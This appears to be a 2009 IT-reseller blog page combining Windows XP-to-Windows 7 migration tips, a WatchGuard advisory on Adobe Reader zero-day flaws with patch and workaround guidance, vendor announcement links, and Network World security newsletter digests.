10 things you should know about moving from Windows XP to Windows 7

10 things you should know about moving from:

Windows XP to Windows 7

Greg Shultz

September 4, 2009

If you skipped Windows Vista and stuck with Windows XP, chances are good that you are now seriously considering moving to Windows 7 after it’s released on October 22. If so, there is much for you to do. Not only should you begin planning for your operating system migration, but you should begin learning as much as you can about Windows 7. Here are 10 things you can do to get ready for the switch.

1: Check your hardware

Windows 7 was designed to be lean in terms of hardware, so that it will be able to function satisfactorily on sub-powered netbooks. If you’re running Windows XP on a computer manufactured within the last three or four years, chances are good that Windows 7 will run fine on your system. However, you can make sure that your hardware is compatible by running Microsoft’s Windows 7 Upgrade Advisor.

The Windows 7 Upgrade Advisor will perform a detailed scan of your entire system, checking hardware, programs, and peripheral devices. Once the scan is complete, the Upgrade Advisor will display a report telling you whether your system meets the hardware requirements and idenfying are any known compatibility issues with your programs and devices. If it finds problems, the Upgrade Advisor will provide suggestions you can use to better analyze your upgrade options to Windows 7.

You can download the Windows 7 Upgrade Advisor from the Microsoft Download Center. At the time of this writing, this tool is listed as being a Beta version. However, running it now will give you a good idea of what you will be facing as you prepare for your upgrade.

If you’re planning a much bigger Windows XP to Windows 7 migration, you’ll want to investigate the Microsoft Assessment and Planning Toolkit. This free toolkit, which runs across the network without having to install software on client systems, will allow you to investigate systems and compile reports on hardware and device compatibility.

2: Understand the Custom Install

If you’re running Windows XP on your computer and you want to use Windows 7 on that same computer, you’ll purchase an Upgrade license package of Windows 7. However, you won’t be able to perform an in-place upgrade. In other words, you won’t be able to upgrade to Windows 7 on top of XP and keep all your applications and settings “in place.” Instead, you’ll have to perform a Custom Install, which Microsoft describes as follows:

A custom (clean) installation gives you the option to either completely replace your current operating system or install Windows on a specific drive or partition that you select. You can also perform a custom installation if your computer does not have an operating system, or if you want to set up a multiboot system on your computer.

When you completely replace Windows XP, the installation procedure will not totally obliterate it. In fact, the installation procedure will create a folder on the hard disk called Windows.old and will place the Windows, Documents And Settings, and Program Files folders from your Windows XP installation in it. Your data files will be safe and accessible, but your applications will not be viable. (Even though the Custom Install saves your data in the Windows.old folder, you will want to have a separate backup on hand just in case!)

Regardless of whether you choose to completely replace Windows XP or set up a multiboot system, you are going to have to back up and transfer all of your data, reinstall all of your applications, and reconfigure all of your settings.

3: Consider a setting up a multiboot configuration

When pondering a Custom Install, you should consider setting up a multiboot configuration. That will place both Windows XP and Windows 7 at your disposal, which will be a big advantage as you begin migrating your settings, documents, and applications. More specifically, you can boot into Windows XP to check out how something is set up and then boot into Windows 7 to re-create the same configuration. Once you have everything in Windows 7 exactly the way you had it in Windows XP, you can remove the multiboot configuration set Windows 7 as the primary OS and then remove Windows XP.

To be able to perform this type of switch, both XP and 7 must be installed on the same hard disk but on separate partitions. (If you install Windows 7 on a second hard disk, the boot partition will exist on the first hard disk, so you won’t be able to remove that drive once you’re ready to get rid of XP.) As a result, you’ll need to repartition your hard disk to make room for Windows 7. To repartition your hard disk without destroying data, you can take advantage of partition management software, such as Norton PartitionMagic 8.0, which retails for about $70, or Easeus Partition Manager Home Edition 4.0.1, which is available for free and earned a 4.5 star rating in a recent CNET editors’ review.

4: Plan your backup and restore strategy

Before you move from one operating system to another, you’ll want to back up all your data – at least once and maybe twice, just in case. While it may sound like overkill, having an extra backup will give you peace of mind.

If you’re using a third-party backup program, you will need to check the manufacturer’s Web site to see whether the program will be upgraded to work in Windows 7. If you aren’t using a third-party backup program, you’re probably using Windows XP’s native Backup Utility. As you may have heard, the file format used for this tool isn’t compatible with Windows Vista’s Backup And Restore Center. To provide for that, Microsoft released a special version of the XP Backup Utility, called the Windows NT Backup – Restore Utility. It’s designed specifically for restoring backups made on Windows XP to computers running Windows Vista. While I was unable to get official confirmation, it is a safe bet that this special version will work in Windows 7 or will be adapted to do so.

If you aren’t willing to take that bet or you are not sure whether your third-party backup program will be upgraded to work in Windows 7, you can simply make copies of all your data files on CD/DVD or on an external hard disk.

5: Plan your data transfer strategy

To move from one operating system to another, you’ll probably want to use a transfer program that will scan your XP system, pull out all your data and settings, and then transfer them to Windows 7. Fortunately, the Windows 7 Easy Transfer utility can provide this service for you. However, before you perform this transfer operation, it will be in your best interest to have a separate back up copy of your data (see #4).

The new operating system will come with two copies of the Windows 7 Easy Transfer. One copy will be on the DVD and the other will be installed with the operating system. Before you install Windows 7, you will run Windows 7 Easy Transfer from the DVD and back up all your files and settings. Then, once you have Windows 7 installed, you’ll use it to move all your files and settings to the new operating system. You can learn more about the Windows 7 Easy Transfer by reading the article Step-by-Step: Windows 7 Upgrade and Migration on the Microsoft TechNet site.

6: Inventory your applications and gather your CDs

Since you won’t be able to perform an in-place upgrade when you move from Windows XP to Windows 7, you’ll have to reinstall all your applications that passed the Windows 7 Upgrade Advisor compatibility tests (see #1). It will be helpful to have an inventory of all the installed applications so that you can track down all your CDs or compile a list of Web sites for those applications you downloaded.

While the report generated by the Upgrade Advisor will be helpful as you create an inventory, it won’t be comprehensive. To create a detailed inventory, you can use something like the Belarc Advisor. For more details, see the article Gather detailed system information with Belarc Advisor.

7: Become familiar with the new UI

The UI in Windows 7 is quite different from the UI in Windows XP, and it offers a lot of new features. As a result, you may encounter what I call “UI Shock.” You’ll know what you want to do, but you’ll experience a momentary lapse of composure as you strive to adapt what you know about XP’s UI to what you’re seeing and experiencing in Windows 7.

To ease the level of UI shock, you’ll want to become as familiar as possible with the features of the new Windows 7 UI. One starting point is Microsoft’s Windows 7 page. While a lot of the content here is essentially marketing related, it will give you a good idea of what to look for when you actually move into the Windows 7 operating system.

To help you get right to the good stuff, check out:

• The Windows 7 features section, where you’ll find a host of short videos and descriptions.
• The Windows 7 Help & How-to section, where you’ll find a whole slew of step-by-step articles that show you how get around in Windows 7. Be sure to check out the section on installing Windows.

You’ll also find useful information on the Windows Training Portal on the Microsoft Learning site. Be sure to check out:

• The Windows 7 Learning Snacks, which are short, interactive presentations. Each Snack is delivered via animations and recorded demos using Microsoft Silverlight.
• The Microsoft Press sample chapters from upcoming Windows 7 books. Viewing the free chapters requires registration, but it is a short procedure. Once you’re registered, you can access sample chapters from Windows 7 Inside Out, Windows 7 Resource Kit, Windows 7 Step by Step, and Windows 7 for Developers.

8: Check for XP Mode support

If you discover that some of the applications you’re currently running in Windows XP are not compatible with Windows 7 (see #1) or you just want to keep Windows XP accessible, don’t forget about Windows XP Mode. This virtual environment includes a free, fully licensed, ready-to-run copy of Windows XP with SP3 that runs under Windows Virtual PC in Windows 7.

As you consider the Windows XP Mode, keep these things in mind:

• Windows XP Mode is available only in Windows 7 Professional, Enterprise, and Ultimate editions.
• Your computer must support processor-based virtualization.

You can learn more about Windows XP Mode from the following TechRepublic resoruces:

• Determine if your hardware can support Windows XP Mode in Windows 7
• Hands on: Windows 7 XP Mode
• 10 reasons why Windows 7’s XP Mode is a big deal

9: Ask questions

You aren’t the only one making the move from Windows XP to Windows 7, so ask questions and share information you pick up along the way. Of course, you can use the TechRepublic discussion forums. But you should cast a wider net.

One good place to connect with Microsoft experts is the Getting Ready for Windows 7 section of the Microsoft Answers site. Another good place is in the Windows 7 forums in the Windows Client TechCenter on the Microsoft TechNet site.

10: Subscribe to the Windows Vista and Windows 7 Report

TechRepublic’s free Windows Vista and Windows 7 Report newsletter, which is delivered every Friday, offers tips, news, and scuttlebutt on Windows 7. As we count down to October 22, the day that Windows 7 is to be released to the general public, we will be covering topics of interest to Windows XP users in more detail. You can sign up on the TechRepublic newsletters page.

Comment on this article: TechRepublic blog.

Two New Zero Day Adobe Reader Exploits

Update: Two New Zero Day Adobe Reader Exploits Adobe Releases Updates for Reader and Acrobat Severity: High 12 May, 2009 Update: On 28 April, 2009, we alerted LiveSecurity subscribers about two zero day vulnerabilities in Adobe Reader which attackers could exploit to execute code on your machine, potentially gaining complete control of it. When we first reported this issue, a greyhat security researcher had already released Proof-of-Concept (PoC) exploits that leveraged these flaws to the public. We promised to update our alert when Adobe released a patch for this issue. Today they did. Adobe’s security bulletin announces the release of Reader 9.1.1, which fixes both security vulnerabilities (one of them only affects Reader on UNIX systems). They also announce updates for Acrobat, which also suffers from these vulnerabilities. Adobe’s bulletin does not describe the flaws in any technical detail. However, they do describe their impact. If an attacker can entice one of your users into downloading and opening a maliciously crafted PDF document (.pdf), he can exploit these vulnerabilities to execute code on that user’s computer, with that user’s privileges. If your user has local administrative privileges, the attacker gains full control of the user’s machine.  If you use Adobe Reader or Acrobat on any platform, we recommend you download and install Adobe’s updates as soon as you can. See below for details. Solution Path: Adobe has released Reader 9.1.1, Acrobat 8.1.5 and Acrobat, 7.1.2 to fix these vulnerabilities. You should download, test, and deploy the appropriate updates throughout your network as soon as you can: Adobe Reader 9.1.1 For Windows For Mac For UNIX Adobe Acrobat Pro and Pro Extended for Windows 3D for Windows Pro for Mac Note: If you use Adobe Updater, it may automatically install the corresponding updates for you. For All WatchGuard Users: If you previously customized your Firebox’s proxy policies to temporarily block PDF documents (.pdf), you may want to remove those customizations after applying Adobe’s patch. This will allow your users to download legitimate PDF documents again. For additional details about the vulnerability, and as a convenient reference, we reproduce our original 28 April alert below. You can also find it in the LiveSecurity Latest Broadcasts archive. Summary: This vulnerability affects: Adobe Reader and Acrobat 9.1 and earlier, on Windows, Mac, *nix computers How an attacker exploits it: By enticing your users into viewing a maliciously crafted PDF document Impact: An attacker can execute code on your computer, potentially gaining control of it What to do: Implement the workarounds described in the Solutions section of this alert Exposure: Yesterday, SecurityFocus released an advisory describing a new zero day Adobe Reader exploit they found in the wild. The Proof of Concept (PoC) exploit –  written by some calling himself “Arr1val” — seems to leverage a flaw in the Adobe Reader function called “getAnnots()”. As it turns out, Arr1val released two new zero day exploits. The second exploit leverages another Adobe Reader function called “spell.customDictionaryOpen().” Arr1val’s code suggests he confirmed these flaws using Adobe Reader 9.1 and 8.1.4 for Linux. However, we suspect the flaws may affect all current versions of Reader running on any platform. By enticing one of your users into downloading and opening a malicious PDF document, an attacker could exploit either of these unpatched Reader vulnerabilities to execute code on your user’s computer, with that user’s privileges. If the user had root or local administrator privileges, the attacker would gain complete control of that user’s machine. Adobe has responded to this incident in a short blog post, saying they are investigating the issue. Since exploit code is widely available and Adobe hasn’t had time to patch yet, these flaws pose a serious risk to Adobe Reader users. We recommend you implement the workarounds described below to mitigate the risk of these dangerous zero day exploits. Solution Path Adobe has not had time to release a patch for these zero day vulnerabilities. However, the workarounds described below should mitigate the risk posed by the exploits currently circulating in the wild. Inform your users of this vulnerability. Advise them to remain wary of unsolicited PDF documents arriving via email. If they don’t absolutely need the document, and don’t trust the entity it came from, they should avoid opening it until you patch Adobe Reader. Use antivirus (AV) software and make sure it’s up to date. AV vendors will release signatures for these new exploits, so make sure to keep your AV software up to date. Disable JavaScript in Adobe Reader. Disabling JavaScript in Adobe Reader could prevent these exploits from succeeding. To disable JavaScript in Adobe Reader, click Edit => Preferences => JavaScript and then uncheck Enable Acrobat JavaScript. Keep in mind, this prevents JavaScript from running in legitimate PDF documents as well. Use a gateway device, like your Firebox, to block PDF files. If your users can’t download PDF files, these exploits won’t affect them. Unfortunately, doing this blocks legitimate PDF files as well. Nonetheless, depending on your business needs, you may still want to block PDF files until Adobe releases a patch. Use an alternative PDF reader. You can mitigate the risk of these Adobe Reader vulnerabilities by using an alternative PDF reader. Keep in mind, other PDF readers may also suffer security vulnerabilities. However, attackers seem to primarily target the popular Adobe Reader. If it meets your business needs, you may try to adopt one of the alternative PDF readers listed on this site. We will update this alert when Adobe releases a patch. For All WatchGuard Users: Many of WatchGuard’s Firebox models can block incoming PDF files. However, most administrators prefer to allow these file types for business purposes. Nonetheless, if PDF files are not absolutely necessary to your business, you may consider blocking them using the Firebox’s HTTP and SMTP proxy until Adobe patches. If you decide you want to block PDF documents, follow the links below for video instructions on using your Firebox proxy’s content blocking features to block .pdf files by their file extension: Firebox X Edge running 10.x How do I block files with the FTP proxy? How do I block files with the HTTP proxy? How do I block files with the POP3 proxy? How do I block files with the SMTP proxy Firebox X Core and X Peak running Fireware 10.x How do I block files with the FTP proxy? How do I block files with the HTTP proxy? How do I block files with the POP3 proxy? How do I block files with the SMTP proxy? Status: We will update you when Adobe releases a patch. Until then, implement the workarounds described above. References: SecurityFocus Adobe Reader Advisory Adobe blog post Adobe Reader getAnnots() exploit code Adobe Reader spell.customDictionaryOpen() exploit code This alert was researched and written by Corey Nachreiner, CISSP. What did you think of this alert? Let us know at your.opinion.matters@watchguard.com. More alerts and articles: log into the LiveSecurity Archive.   NOTE: This e-mail was sent from an unattended mailbox. Please do not reply. ABOUT Questiva/TailoredMail: WatchGuard has contracted with Questiva/TailoredMail, an industry leading vendor of trusted email services, to send these emails and maintain a record of your preferences confidentially. Personal information about you is not sold or rented to Questiva/TailoredMail or to other companies. Both WatchGuard and Questiva/TailoredMail are fully committed to your privacy, as detailed in WatchGuard’s privacy policy. TO UNSUBSCRIBE: You received this e-mail because you subscribed to the WatchGuard LiveSecurity Service, which advises about virus alerts, security best practices, new hacking exploits, and more. If you no longer wish to be advised of these things, please let us know. On the Web: Unsubscribe (credentials required) By E-mail: Unsubscribe This email was sent to: sales@guardsite.com No express or implied warranties are provided for herein.  All specifications are subject to change and any expected future products, features or functionality will be provided on an if and when available basis. Copyright 2009 WatchGuard Technologies, Incorporated. All Rights Reserved. WatchGuard, LiveSecurity and Firebox, and any other word listed as a trademark in the “Terms of Use” portion of the WatchGuard Web site that is used herein, are registered trademarks or trademarks of WatchGuard Technologies, Inc. in the United States and/or other countries. All other trademarks are the property of their respective owners. You may not modify, reproduce, republish, post, transmit, or distribute this content except as expressly permitted in writing by WatchGuard Technologies, Inc.

Virtual Graffiti
http://www.VirtualGraffiti.com
“Your Technology and Network Solution Provider”

ParagonHost
http://www.ParagonHost.com
“World Class Internet Servies”

Technology Updates: 04/27/09

Safend, today announced a new release of Safend Encryptor, a hard-disk encryption solution that is a component of the Safend Data Protection Suite.

http://safend-security.blogspot.com/2009/04/safend-announces-safend-data-protection.html

 

VMware, Inc. today announced VMware vSphere™ 4

http://vmware-software.blogspot.com/2009/04/vmware-unveils-industrys-first.html

 

Check Point Software Technologies Ltd. today announced a new high-end Power-1 series of Power-1 11000

http://checkpoint-security.blogspot.com/2009/04/check-point-introduces-new-high-end.html

 

WatchGuard Technologies today unveiled its new operating system for WatchGuard security appliances – WatchGuard Fireware XTM

http://watchguard-guardsite.blogspot.com/2009/04/watchguard-sets-new-standard-for.html

 

eEye Digital Security today announced the general availability of Blink Server 4

http://eeye-security.blogspot.com/2009/04/new-eeye-blink-server-4-edition-to.html

 

ZyXEL Communications Inc , today announced a high-end addition to its already powerful line of Unified Threat Management (UTM) products, the ZyWALL USG2000.

http://zyxelguard.blogspot.com/2009/04/zyxel-introduces-high-end-unified.html

 

FaceTime Communications today introduced FaceTime Insight™,

http://facetime-security.blogspot.com/2009/04/facetime-introduces-powerful.html

 

Marshal8e6 has today announced the acquisition of Avinti

http://8e6-security.blogspot.com/2009/04/rss-feed-of-news-from-marshal8e6.html

 

Virtual Graffiti, Inc

http://www.VirtualGraffiti.com

 

ParagonHost

http://www.ParagonHost.com

Internet Security Trends – Conficker Worm Expected to Influence Rise in Spam

Internet Security Trends – Conficker Worm Expected to Influence Rise in Spam

 

As a provider of messaging and Web security technology, Commtouch released their most current quarterly “Internet Threat Trends” report last week. The report forecasts how computers infected by the Conficker worm could cause a meaningful rise in spam levels during the next quarter. Analysts report that around 15 million computers on a global scale have already been infected by multiple versions of the worm to date.

Here are the Q1 highlights at a glance:

• The Conficker worm infected more than 15 million computers since its first appearance last Fall.
• Loan spam jumped to the top of the list of top spam topics, with 28% this quarter.
• Users of social networking sites fell victim to new, more complex phishing attacks.
• Computers/Technology sites and Search engines/Portals are among the top 10 Web site categories infected with malware and/or manipulated by phishing.
• Brazil continues to lead in zombie computer activity, producing nearly 14% of zombies for the quarter.
• Spam levels averaged 72% of all email traffic throughout the quarter and peaked at 96% in early January. It then bottomed out at 65% in February.
• Spammers attacked large groups of an ISP’s users and moved to the next ISP in a targeted spam outbreak.
• An average of 302,000 zombies were activated each day for the purpose of malicious activity.

Download the full in depth report here.

Source: Commtouch

 

ParagonHost

http://www.ParagonHost.com

 

Virtual Graffiti

http://www.VirtualGraffiti.com

All the week’s news and views about Security, 04/16/09

All the week’s news and views about Security, 04/16/09

Botnets: Reasons It’s Getting Harder to Find and Fight Them
http://www.networkworld.com/nlsecuritynewsal192072

 

The perpetual proliferation of botnets is hardly surprising when
one considers just how easy it is for the bad guys to hijack
computers without tipping off the users.Read full story
http://www.networkworld.com/nlsecuritynewsal192072

Senior Editor Ellen Messmer covers security for Network World.
E-mail Ellen mailto:emessmer@nww.com .

_______________________________________________________________
This newsletter is sponsored by Oracle
The Cost of Securing your Database

Make the most of IT security and compliance dollars by ensuring
your databases are secure. Get concrete tips and recommendations
in this Live Webcast sponsored by Oracle, scheduled for
Thursday, April 16, 2009 at 2:00 p.m. ET/11:00 a.m. PT. Learn
how to cost-effectively safeguard sensitive and regulated
information. Register for this Live Webcast now.
http://adserver.fattail.com/redir/redirect.asp?CID=296041
_______________________________________________________________
Responsible for building a resilient data center Then don’t miss
Network World’s one-day conference and expo devoted to best
practices and new solutions. Hear top analysts. Meet key vendors.
Coming to 10 cities in ‘09 including Boston in May and Atlanta in
June. Register now to attend free: Visit
http://www.nww.com/rpgx.jsp?c=XU1PTA1012Z4303.

_______________________________________________________________

 

RELATED EDITORIAL LINKS

Stealthy rootkit slides further under the radar
http://www.networkworld.com/nlsecuritynewsal192073  Thousands of
Web sites have been rigged to deliver a powerful piece of
malicious software that many security products may be unprepared
to handle.

Oracle delivers major security patch update
http://www.networkworld.com/nlsecuritynewsal192074  Oracle
released 43 security fixes on Tuesday for a range of
applications, including its flagship database, Oracle
Application Server, E-Business Suite, PeopleSoft Enterprise and
WebLogic Server.

UC security: When the shoe doesn’t fit – compress the foot
http://www.networkworld.com/nlsecuritynewsal192075  If your
security model is location-centric and depends on keeping things
separate, how do you respond to a disruptive technology like
unified communications? This is a pattern that keeps repeating
in many different areas: the security paradigm looked good until
a technology comes along, changes the assumptions and reveals
the inadequacy of the model.

CDT: Privacy, transparency needed in cybersecurity policy
http://www.networkworld.com/nlsecuritynewsal192076  U.S.
President Barack Obama’s administration and Congress will have
to address major civil liberties and transparency concerns as
they create new policies to tackle ongoing cybersecurity
vulnerabilties in the government and private industry, a digital
rights group said.

Human ear could be next biometric system
http://www.networkworld.com/nlsecuritynewsal192077  British
scientists are investigating the viability of a new biometric
technique that would make use of the human ear as a way for a
third party to identify the person they are speaking to.

Deleted Data Drives New Data Breaches
http://www.networkworld.com/nlsecuritynewsal192078  According to
a new report on data breaches from Verizon Business, cyber
criminals are no longer attacking where the credit card files
are, but where they once were.

Encrypt more data with latest SecuriKey version
http://www.networkworld.com/nlsecuritynewsal192079  When last we
heard from the folks at GT SecuriKey, the makers of the
hardware-software combo for securing laptops had just come out
with a bundle aimed at mobile Mac users who also ran Windows on
their portables via Boot Camp. Now the cross-platform data
security company is updating all of its Mac offerings, with
enhanced data encryption features in the latest version of
SecuriKey.

Top Trends: Patch Management
http://www.networkworld.com/nlsecuritynewsal185732  Find out how
patch-management products work, and what they can do for you, in
this Product Guide.

April giveaways http://www.networkworld.com/community/node/40434
galore
Cisco Subnet http://www.networkworld.com/subnets/cisco/
andMicrosoft Subnet
http://www.networkworld.com/subnets/microsoft/  are giving away
training courses from Global Knowledge, valued at $2,995 and
$3,495, and have copies of three hot books up for grabs:CCVP
CIPT2 Quick Referenceby Anthony Sequeira,Microsoft Voice Unified
Communicationsby Joe Schurman andMicrosoft Office 2007 On
Demandby Steve Johnson.Deadline for entries
http://www.networkworld.com/community/node/40434  April 30.

Network World on Twitter  http://twitter.com/NetworkWorld  Get
our tweets and stay plugged in to networking news.
TOP STORIES | MOST DUGG STORIES
       http://www.networkworld.com/nlsecuritynewsal192080

1. NASA takes Ethernet deeper into space
       http://www.networkworld.com/nlsecuritynewsal192081

2. EBay to spin off Skype by mid-2010
       http://www.networkworld.com/nlsecuritynewsal192082

3. Microsoft’s Patch Tuesday filled with zero-day exploits
       http://www.networkworld.com/nlsecuritynewsal192083

4. Fact-checking the fact-checkers: Snopes.com gets an ‘A’
       http://www.networkworld.com/nlsecuritynewsal192084

5. Managing IP addresses with free tools
       http://www.networkworld.com/nlsecuritynewsal192085

6. Exchange 2010: Sneak peek
       http://www.networkworld.com/nlsecuritynewsal192086

7. Breakthrough enables Terabit Ethernet
       http://www.networkworld.com/nlsecuritynewsal192087

8. 15 nifty BlackBerry apps for IT pros
       http://www.networkworld.com/nlsecuritynewsal192088

9. Exchange 2010 beta leads kickoff of new Office lineup
       http://www.networkworld.com/nlsecuritynewsal192089

10. Recession resistant: 10 technologies CIOs are still buying
       http://www.networkworld.com/nlsecuritynewsal192090

       http://twitter.com/NetworkWorld

MOST-WATCHED VIDEO1. Students learn through robot battles
       http://www.networkworld.com/nlsecuritynewsal192091
_______________________________________________________________
This newsletter is sponsored by Oracle
The Cost of Securing your Database

Make the most of IT security and compliance dollars by ensuring
your databases are secure. Get concrete tips and recommendations
in this Live Webcast sponsored by Oracle, scheduled for
Thursday, April 16, 2009 at 2:00 p.m. ET/11:00 a.m. PT. Learn
how to cost-effectively safeguard sensitive and regulated
information. Register for this Live Webcast now.
http://adserver.fattail.com/redir/redirect.asp?CID=296041
_______________________________________________________________

Twitter Worm Attack Continues: Here’s How to Keep Safe

All the week’s news and views about Security, 04/14/09

Twitter Worm Attack Continues: Here’s How to Keep Safe
http://www.networkworld.com/nlsecuritynewsal191582

The malicious worm affecting Twitter over the weekend has now
mutated and continues to invade the popular micro-blogging
network. Although Twitter is taking action against the problem,
security analysts fear that further mutations of the worm will
continue to wreak havoc on the network over the week.Read full
story  http://www.networkworld.com/nlsecuritynewsal191582

Senior Editor Ellen Messmer covers security for Network World.
E-mail Ellen mailto:emessmer@nww.com .

_______________________________________________________________
This newsletter is sponsored by HP
Storage Virtualization Guide

Check out Network World’s IT Roadmap on Storage virtualization.
Learn how to reduce the complexity of managing, backing up and
archiving data. Learn the differences between the three main
storage virtualization technologies which are in the data path,
out-of band and split path. Find out which technology is best
suited for your environment.
http://adserver.fattail.com/redir/redirect.asp?CID=296189
_______________________________________________________________

Network Management Solutions in your backyard. Answers are as close
as the IT Roadmap event in your area. You can ask questions,
compare quotes, and gain a year’s worth of direction in less than a
day. Coming to 10 cities in ‘09 including Boston in May and Atlanta
in June. Qualify to attend free at
http://www.nww.com/rpgx.jsp?c=XU1PTB1012Z4303.

_______________________________________________________________

RELATED EDITORIAL LINKS

Twitter wrestles with fourth worm attack
http://www.networkworld.com/nlsecuritynewsal191583  Another worm
attack early Monday on Twitter kept the micro-blogging Web
service chasing down infected accounts and deleting rogue
tweets.

Weekend worms strike Twitter, teen admits responsibility
http://www.networkworld.com/nlsecuritynewsal191584  Twitter was
hit with at least three different worm attacks that started
Saturday and continued into Sunday, the micro-blogging service
acknowledged as it promised users it would review its coding
practices.

1 in 5 Windows PCs still hackable by Conficker
http://www.networkworld.com/nlsecuritynewsal191585  Although the
media blitz about the Conficker worm prompted a significant
number of enterprise users to finally fix a six-month-old
Windows bug, about 1 in 5 business computers still lack the
patch, a security company said Monday.

Botlab keeping an eye on spamming botnets
http://www.networkworld.com/community/node/40855  University of
Washington researchers have developed a prototype system called
Botlab that monitors botnets to gain insight into a major
generator of spam.

Does Social Networking Require User Policy Changes?
http://www.networkworld.com/nlsecuritynewsal191586  IT security
administrators have had a fairly easy case to make against such
social networking sites as Myspace in the past. Myspace in
particular tends to be a place for the mostly personal, and some
profiles are simply front companies for online mobsters and
malware pushers.

PCI security rules may require reinforcements
http://www.networkworld.com/nlsecuritynewsal191587  The PCI
standard, long touted as one of the private sector’s strongest
attempts to regulate itself on IT security, is increasingly
being slammed by critics who claim that the rules aren’t doing
enough to protect credit and debit card data.

Can the status quo threaten your LAN?
http://www.networkworld.com/nlsecuritynewsal191588  In times of
economic crisis people tend to seek the safety and security of
the status quo. “Doing what you’ve always done, and what
everyone else is doing, is the most prudent course,” goes the
thinking.

Security Tops IT Budget Priorities
http://www.networkworld.com/nlsecuritynewsal191589  Security is
on the minds of American companies and many are still making
room in their budgets to invest in IT security initiatives,
according to a survey released Monday by Robert Half Technology.

Trend Micro dishes out security smorgasbord
http://www.networkworld.com/nlsecuritynewsal191590  Trend Micro
Monday dished out a smorgasbord of endpoint security products
that put the focus on Trend’s cloud-based architecture and its
partnership with systems-management vendor BigFix.

RSA upgrades data leak prevention suite
http://www.networkworld.com/nlsecuritynewsal191591  EMC’s RSA
division Monday announced an upgraded version of its data-leak
prevention suite, adding over twenty policy templates for
recognizing personal identifiable information in countries
around the world, including Spain and New Zealand.

Podcast: Prepping for Tougher Health Data Rules
http://www.networkworld.com/nlsecuritynewsal191592  As part of
the recent stimulus bill, the HITECH Act will create standard
electronic health records for every American by 2014, as well as
introduce strict new rules for the protection of these health
records. John Linkous from eIQnetworks discusses the components
of the act and how IT can start preparing now for the new
standards. (10:12)

User education key to IT security: Microsoft
http://www.networkworld.com/nlsecuritynewsal191593  With the
release of its latest Security Intelligence Report, Microsoft is
encouraging its partners and customers to become more security
aware and educated, as new attack tactics are on the rise.

Top Trends: Patch Management
http://www.networkworld.com/nlsecuritynewsal185732  Find out how
patch-management products work, and what they can do for you, in
this Product Guide.

April giveaways http://www.networkworld.com/community/node/40434
galore
Cisco Subnet http://www.networkworld.com/subnets/cisco/
andMicrosoft Subnet
http://www.networkworld.com/subnets/microsoft/  are giving away
training courses from Global Knowledge, valued at $2,995 and
$3,495, and have copies of three hot books up for grabs:CCVP
CIPT2 Quick Referenceby Anthony Sequeira,Microsoft Voice Unified
Communicationsby Joe Schurman andMicrosoft Office 2007 On
Demandby Steve Johnson.Deadline for entries
http://www.networkworld.com/community/node/40434  April 30.

Network World on Twitter  http://twitter.com/NetworkWorld  Get
our tweets and stay plugged in to networking news.

TOP STORIES | MOST DUGG STORIES
       http://www.networkworld.com/nlsecuritynewsal191594

1. Conficker awakens, starts scamming
       http://www.networkworld.com/nlsecuritynewsal191595

2. Microsoft eating up U.S. and global netbook markets
       http://www.networkworld.com/nlsecuritynewsal191596

3. Bill would give Obama power to shut down Internet
       http://www.networkworld.com/nlsecuritynewsal191597

4. Are you an IT geezer? (and we mean that in a good way)
       http://www.networkworld.com/nlsecuritynewsal191598

5. A Twitter virus shows up: StalkDaily
       http://www.networkworld.com/nlsecuritynewsal191599

6. The 10 worst Microsoft product names of all time
       http://www.networkworld.com/nlsecuritynewsal191600

7. Netbook computers spark corporate interest
       http://www.networkworld.com/nlsecuritynewsal191601

8. Conficker, the Internet’s No.1 threat, gets an update
       http://www.networkworld.com/nlsecuritynewsal191602

9. The implications of Skype’s free software application for
iPhone  http://www.networkworld.com/nlsecuritynewsal191603

10. Fear and loathing in Windows 7: Testing Branch Cache using
Linux   http://www.networkworld.com/nlsecuritynewsal191604

       http://twitter.com/NetworkWorld

MOST-WATCHED VIDEO1. Students learn through robot battles
       http://www.networkworld.com/nlsecuritynewsal191605

_______________________________________________________________
This newsletter is sponsored by HP
Storage Virtualization Guide

Check out Network World’s IT Roadmap on Storage virtualization.
Learn how to reduce the complexity of managing, backing up and
archiving data. Learn the differences between the three main
storage virtualization technologies which are in the data path,
out-of band and split path. Find out which technology is best
suited for your environment.
http://adserver.fattail.com/redir/redirect.asp?CID=296189
_______________________________________________________________

ARCHIVE LINKS

Network Security Research Center
http://www.networkworld.com/topics/security.html  : For breaking
security news, news analysis, blogs, newsletters, product tests,
and more.

Security Strategies Newsletter
http://www.networkworld.com/newsletters/sec/index.html  :
Norwich University Associate Professor M. E. Kabay takes the
long view of security issues and resources for ensuring your
network, computer and facilities remain secure. View the archive
and to sign up for the newsletter here
http://www.networkworld.com/newsletters/sec/index.html
_______________________________________________________________

BONUS FEATURE

Accurately Troubleshoot your Apps. Optimize your application
troubleshooting efforts with the best practices described in this
whitepaper, “Application Troubleshooting Guide.” Eliminate finger
pointing between departments. Find out how to isolate the source of
application performance problems and what to look for when
troubleshooting. Get all of the details today.
http://www.nww.com/rpgx.jsp?c=XU1PTA1013Z4161 Download this
whitepaper now.

_______________________________________________________________

PRINT SUBSCRIPTIONS AVAILABLE

You’ve got the technology snapshot of your choice delivered to
your inbox each day. Extend your knowledge with a print
subscription to the Network World newsweekly, Apply today at
http://www.subscribenw.com/nl2
http://www.networkworld.com/nlsecuritynewsal166186

International subscribers, click here:
http://www.subscribenw.com/dp30
https://www.subscribenww.com/cgi-win/nww.cgi?paid&p=ADP608NW
_______________________________________________________________

ParagonHost

http://www.ParagonHost.com

The Spam Busters

http://www.TheSpamBusters.com

Virtual Graffiti

http://www.VirtualGraffiti.com

Technology Update: 03-30-09

Kaspersky Lab announces the launch of Kaspersky Internet Security 2009 for Ultra-Portables.

http://kasperskyav.blogspot.com/2009/03/kaspersky-lab-launches-comprehensive.html

 

Cymphonix announced Network Revealer

http://cymphonix.blogspot.com/2009/03/cymphonix-provides-free-tool-to-help-it.html

 

Cisco Announces Intent to Acquire Pure Digital Technologies, Makers of Flip Video

http://linksys-works.blogspot.com/2009/03/cisco-announces-intent-to-acquire-pure.html

 

SonicWALL, Inc. , today announced the immediate availability of its new E-Class Email Security Appliance (ESA) ES8300

http://sonic-wall.blogspot.com/2009/03/innovative-email-security-protection.html

 

IT security and control firm Sophos is warning computer users to be on their guard following the discovery of a new large scale malicious spam campaign posing as an email from courier firm DHL.

http://sophos-enterprise.blogspot.com/2009/03/spammers-exploit-dhl-in-another.html

 

Astaro today announced availability of version 2.0 of its Astaro Command Center.

http://astaro-security.blogspot.com/2009/03/astaro-command-center-20-improves-vpn.html

Virtual Graffiti, Inc
“Your source for Technology and Network Solutions”
http://www.virtualgraffiti.com

